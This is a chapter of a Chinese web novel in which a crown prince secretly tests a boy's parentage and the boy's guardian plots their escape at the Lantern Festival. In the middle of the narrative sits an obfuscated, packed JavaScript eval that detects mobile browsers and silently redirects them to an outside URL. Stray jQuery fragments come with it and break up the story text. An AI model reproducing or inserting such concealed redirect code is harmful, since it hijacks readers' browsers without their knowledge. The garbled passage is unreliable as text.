第178章 疑云再起

作品:《揣崽跑路,被我抛弃的太子登基了

    从茶楼回到东宫,已是日影西斜。


    顾鹤白屏退了所有侍从,独自一人坐在空旷的书房内。


    夕阳的余晖透过窗棂,在他玄色的衣袍上投下斑驳的光影,却驱不散他眉宇间凝着的沉郁。


    苏嬷嬷那激动到近乎失态的神情,以及那句斩钉截铁的以性命担保,像烧红的烙铁,反复烫灼着他的理智。


    他信苏嬷嬷。


    那可是打小看他长大的老人,眼睛毒得很,心思也细,看人从没走过眼。


    她说那孩子活脱脱就是自己小时候的模样,那肯定不是随口胡诌,至少得有**分像,才能让老人家激动成那样。


    可另一边,常大夫的验亲结果,也不是作假。


    一个是最信任的乳母的直觉判断,一个是最倚重的大夫的实证结果。


    两者相悖,必有一假,或者说,有一方被蒙蔽了。


    狭长的眼眸危险眯起,指尖点着桌面。


    顾鹤白脑中蓦然出现了那道倔犟的身影。


    她把那宝贝侄子藏得这么紧,会什么都不做?


    顾鹤白扫过书案上那份早已被他揉皱又抚平的验亲记录,眼底翻涌着晦暗不明的情绪。


    是在验亲之物上做了手脚,还是从一开始,就在用一个巨大的谎言,掩盖着孟念真正的身世?


    他几乎与身后的黑暗融为一体。


    “暗影。”他声音低沉,带着一丝不易察觉的沙哑。


    角落里,一道黑影如同从地面浮现,悄无声息地显出轮廓。


    “去锦瑟院。”


    子时刚过,暗影悄无声息地潜入了汝阳侯府锦瑟院。


    屋内,孟念睡得正沉,呼吸均匀。


    守夜的丫鬟靠在门边的矮榻上,头一点一点,已然陷入沉睡。


    暗影轻轻拨开窗栓,翻窗进去,落地无声。


    他动作快得像道风,眼睛一扫,就锁定了床上孟念枕着的那条细棉布枕巾。


    二话不说,利索地抽了出来,同时从怀里掏出另一条看着几乎一模一样的,迅速铺好,连边边角角都捋得平平整整。


    又仔细把自己可能留下的丁点儿痕迹都抹掉,然后如来时一般,悄无声息地退走,仿佛从没来过。


    清晨,孟娆如同往常一样,梳洗过后就去孟念的房中看他。


    她轻轻推开房门,守夜的丫鬟被惊醒,慌忙起身问安。


    孟娆摆了摆手,示意她不要出声,别惊动还在睡着的孟念。


    她走到床边,目光柔和地看着孟念睡得红扑扑的小脸,伸手想替他掖掖被角。


    可手刚伸到一半,她就顿住了,眼神落在枕头上,眉头微微皱了起来。


    这枕巾不对劲,跟她之前亲手给念儿备好的那条,有地方不一样。


    料子摸起来比平时用的那条更滑溜一些,而且她明明记得自己在原来那条枕巾的针脚里头,用同色的线绣过一个极小的记号,就在右下角。


    可这条,没有。


    除了顾鹤白,谁还能盯上个孩子的枕巾?


    贼都不看一眼的东西,闲人又怎么会大费周折,悄无声息的潜入侯府内院,就为偷个枕巾。


    闲得慌不是。


    孟娆目光沉沉,细嫩的指尖抚过念儿的面庞。


    还好,自从上次发现那几根头发和杯子被动过之后,她处处小心。


    孟念平日真正贴身穿用的衣物、寝具,尤其是夜间贴身的东西,她都悄悄收了起来,单独存放,还特意用了些特殊药材熏过处理过,确保就算被拿走,轻易也验不出他们想要的。


    现在明面上摆出来的这些,包括这条枕巾,都是她事先准备好的替代品,看着一样,里头早就被动了手脚。


    他这回煞费苦心偷换走的,还是假的。


    但顾鹤白这么一而再、再而三地试探,这次是侥幸,下次呢?下下次呢?


    只要他心里那点疑心没死透,他总会想出别的法子,用更隐秘,更防不胜防的手段来查。


    老话说得好,哪有千日防贼的,这么天天提心吊胆地防着,总有一天会出纰漏。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16877650|189324||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>万一哪次没防住,被他抓到一点真凭实据,那她和念儿,可就真的全完了。


    不能再等了,必须得加快动作。


    顾鹤白一旦真的确认了念儿的身份,到那时候,她如果还想带着孩子离开,无异于痴人说梦。


    她必须在他拿到确凿证据之前,带着念儿彻底消失。


    孟娆脸上没露出分毫异样,像是什么都没发现一样,轻轻替孟念掖好被角,又看了他片刻,才转身,步履平稳地退出了房间。


    回到自己房中,她立刻铺开信纸,研墨提笔。


    此事不能再拖,必须尽快与江南外祖家敲定最终计划。


    她在信中言明京中形势有变,恐生枝节,请外祖家派来接应的人,务必在三个月后的上元灯节那天晚上,在约好的地方等着。


    选上元灯节,是因为那天满城的人都跑出来看花灯,街上挤得水泄不通,三教九流什么样的人都有,最容易浑水摸鱼,趁乱脱身。


    到时候人多眼杂,就算事后发觉不对劲,想找人也如同大海捞针。


    她仔细把信封好,封口处还蘸了点特制的胶,按了个只有自家人认得的暗记,这才叫来冰巧。


    “老规矩,用咱们的暗线把信送出去。”


    “姑娘放心,奴婢晓得。”冰巧神色凝重,将信小心翼翼贴身藏好,匆匆离去。


    看着冰巧消失在门外的背影,孟娆走到窗边,望着庭院中的树枝,心中并无多少即将获得自由的轻松,反而沉甸甸的。


    三个月,她只有三个月的时间来准备了。


    这三个月,她必须更加小心谨慎,绝不能引起顾鹤白丝毫的警觉。


    同时,还得想办法稳住侯府这边,不能让他们在自己离开之前,闹出什么幺蛾子来。


    孟娆暗中加快离京准备的同时,侯府内的日子,表面依旧维持着一种微妙的平静。


    只是这平静之下,暗流愈发汹涌。


    这日,孟娆刚从太医署当值回府,冰巧便悄声禀报:“姑娘,世子那边有动静了。”